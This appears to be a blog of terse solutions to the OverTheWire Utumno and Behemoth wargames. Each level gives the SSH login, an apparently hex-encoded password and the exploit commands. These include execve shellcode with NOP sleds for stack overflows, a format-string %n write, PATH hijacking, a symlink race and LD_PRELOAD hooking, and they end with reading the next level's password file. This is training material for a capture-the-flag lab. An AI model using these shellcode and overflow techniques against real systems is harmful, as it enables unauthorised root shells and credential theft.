#ssh utumno4@utumno.labs.overthewire.org
6f6f6769656c656f6761
utumno4@melissa$file /utumno/utumno4
utumno4@melissa$/utumno/utumno4 65536 `perl -e 'print "\x90"x65250 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90"x18 . "\xdd\xdd\xfd\xff" . "\x90"x238'`
$/usr/bin/whoami
$/bin/cat /etc/utumno_pass/utumno5
# Utumno wargame: Level 4
Labels:
overthewire,
utumno,
wargame
# Utumno wargame: Level 3
#Pseudocodessh utumno3@utumno.labs.overthewire.org
7a757564616669696e65
utumno3@melissa$file /utumno/utumno3
utumno3@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
utumno3@melissa$(perl -e 'print "\x2c\x77\x2e\xd9\x28\xff\x26\xff" . "\n"x9' ; cat) | /utumno/utumno3
/usr/bin/whoami
/bin/cat /etc/utumno_pass/utumno4
a = '0' b = '0' [begin] a = getchar() if (a == EOF) | (b > 23) then exit() c = xor(a,3*b) d = $esp + 32 + c [d] = getchar() b = b + 1 jump to [begin]
Labels:
overthewire,
utumno,
wargame
# Utumno wargame: Level 2
#ssh utumno2@utumno.labs.overthewire.org
63656577616365697068
utumno2@melissa$file /utumno/utumno2
utumno2@melissa$mkdir /tmp/u2
utumno2@melissa$cd !$
utumno2@melissa$cat execve.c
utumno2@melissa$gcc -m32 -o execve execve.c && ./execve
$/usr/bin/whoami
$/bin/cat /etc/utumno_pass/utumno3
Labels:
overthewire,
utumno,
wargame
# Utumno wargame: Level 1
#ssh utumno1@utumno.labs.overthewire.org
61617468616579696577
utumno1@melissa$file /utumno/utumno1
utumno1@melissa$mkdir /tmp/u1
utumno1@melissa$cd !$
utumno1@melissa$ln -s /bin/sh mysh
utumno1@melissa$touch `perl -e 'print "sh_\x31\xc0\x99\xb0\x0b\x52\x68\x6d\x79\x73\x68\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
utumno1@melissa$/utumno/utumno1 /tmp/u1
$/usr/bin/whoami
$/bin/cat /etc/utumno_pass/utumno2
Labels:
overthewire,
utumno,
wargame
# Utumno wargame: Level 0
#ssh utumno0@utumno.labs.overthewire.org
7574756d6e6f30
utumno0@melissa$file /utumno/utumno0
utumno0@melissa$mkdir /tmp/u0
utumno0@melissa$cd !$
utumno0@melissa$cat hook.c
utumno0@melissa$gcc -m32 -fPIC -c hook.c -o hook.o && ld -shared -m elf_i386 -o hook.so hook.o -ldl
utumno0@melissa$strace -s 100 -E LD_PRELOAD=./hook.so -e trace=write /utumno/utumno0
Labels:
ld_preload,
overthewire,
utumno,
wargame
# Behemoth wargame: Level 7
#ssh behemoth7@behemoth.labs.overthewire.org
626171756f787561666f
behemoth7@melissa$file /behemoth/behemoth7
behemoth7@melissa$/behemoth/behemoth7 `perl -e 'print "A"x512 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\xeb\x0f" . "\x90"x11 . "\x04\xd5\xff\xff". "\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
$/usr/bin/whoami
$/bin/cat /etc/behemoth_pass/behemoth8
Labels:
behemoth,
overthewire,
wargame
# Behemoth wargame: Level 6
#cat hellokitty.asm
#nasm -f elf hellokitty.asm && ld -o hellokitty hellokitty.o
#od2sc hellokitty
#ssh behemoth6@behemoth.labs.overthewire.org
6d617969726f65636865
behemoth6@melissa$file /behemoth/behemoth6
behemoth6@melissa$file /behemoth/behemoth6_reader
behemoth6@melissa$mkdir /tmp/b6
behemoth6@melissa$cd !$
behemoth6@melissa$perl -e 'print "\x31\xc0\xb0\x74\xb4\x79\x50\x68\x6f\x4b\x69\x74\x68\x48\x65\x6c\x6c\x89\xe1\x99\xb2\x0a\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\xc9\xc3"' > shellcode.txt
behemoth6@melissa$/behemoth/behemoth6
$/usr/bin/whoami
$/bin/cat /etc/behemoth_pass/behemoth7
Labels:
behemoth,
overthewire,
wargame
# Behemoth wargame: Level 5
#ssh behemoth5@behemoth.labs.overthewire.org
61697a65657368696e67
behemoth5@melissa$file /behemoth/behemoth5
behemoth5@melissa$((sleep 1; /behemoth/behemoth5) & nc -4ul 1337) 2> /dev/null
Labels:
behemoth,
overthewire,
wargame
# Behemoth wargame: Level 4
#ssh behemoth4@behemoth.labs.overthewire.org
69657468656973686569
behemoth4@melissa$file /behemoth/behemoth4
behemoth4@melissa$ln -s /etc/behemoth_pass/behemoth5 /tmp/666
behemoth4@melissa$while [ true ] ; do /behemoth/behemoth4 | grep -v "PID" ; done
Labels:
behemoth,
overthewire,
wargame
# Behemoth wargame: Level 3
#ssh behemoth3@behemoth.labs.overthewire.org
6e69657465696469656c
behemoth3@melissa$file /behemoth/behemoth3
behemoth3@melissa$perl -e 'print "%x."x59' | /behemoth/behemoth3
behemoth3@melissa$(perl -e 'print "\x5c\xd7\xff\xff" . "\x90"x4 . "\x5d\xd7\xff\xff" . "\x90"x4 . "\x5e\xd7\xff\xff" . "\x5f\xd7\xff\xff" . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "%x"x4 . "%91x" . "%n" . "%54x" . "%n" . "%41x" . "%n" . "%n"' ; cat) | /behemoth/behemoth3
<ENTER>
/usr/bin/whoami
/bin/cat /etc/behemoth_pass/behemoth4
Labels:
behemoth,
overthewire,
wargame
# Behemoth wargame: Level 2
#ssh behemoth2@behemoth.labs.overthewire.org
65696d61687175756f66
behemoth2@melissa$file /behemoth/behemoth2
behemoth2@melissa$ltrace /behemoth/behemoth2
behemoth2@melissa$cat > /tmp/b2/touch << eof
>/bin/sh
>eof
behemoth2@melissa$chmod +x /tmp/b2/touch
behemoth2@melissa$PATH=/tmp/b2:$PATH /behemoth/behemoth2
$/usr/bin/whoami
$/bin/cat /etc/behemoth_pass/behemoth3
Labels:
behemoth,
overthewire,
wargame
# Behemoth wargame: Level 1
#ssh behemoth1@behemoth.labs.overthewire.org
61657365626f6f746976
behemoth1@melissa$file /behemoth/behemoth1
behemoth1@melissa$gdb -q /behemoth/behemoth1
(gdb)set disassembly-flavor intel
(gdb)disassemble main
(gdb)break *0x0804841d
(gdb)run
(gdb)print $esp+0x1d
$1 = (void *) 0xffffd6ed (gdb)x/64xw $esp
(gdb)print /x $ebp
(gdb)print 0xffffd73c-0xffffd6ed
(gdb)quit
behemoth1@melissa$(perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90"x53 . "\xfd\xd6\xff\xff"' ; cat ) | /behemoth/behemoth1
ENTER
behemoth1@melissa$ln -s /etc/behemoth_pass/behemoth2 /tmp/b2p
behemoth1@melissa$perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80" . "\x90"x39 . "\xfd\xd6\xff\xff"' | /behemoth/behemoth1
Labels:
behemoth,
overthewire,
wargame
# Behemoth wargame: Level 0
#ssh behemoth0@behemoth.labs.overthewire.org
626568656d6f746830
behemoth0@melissa$file /behemoth/behemoth0
behemoth0@melissa$gdb -q /behemoth/behemoth0
(gdb)set disassembly-flavor intel
(gdb)break *0x080485db
(gdb)run
(gdb)x/xw $esp
(gdb)x/s 0xffffd6df
(gdb)x/xw $esp+0x4
(gdb)x/s 0xffffd720
behemoth0@melissa$/behemoth/behemoth0
$/usr/bin/whoami
$/bin/cat /etc/behemoth_pass/behemoth1
Labels:
behemoth,
overthewire,
wargame
Subscribe to:
Posts (Atom)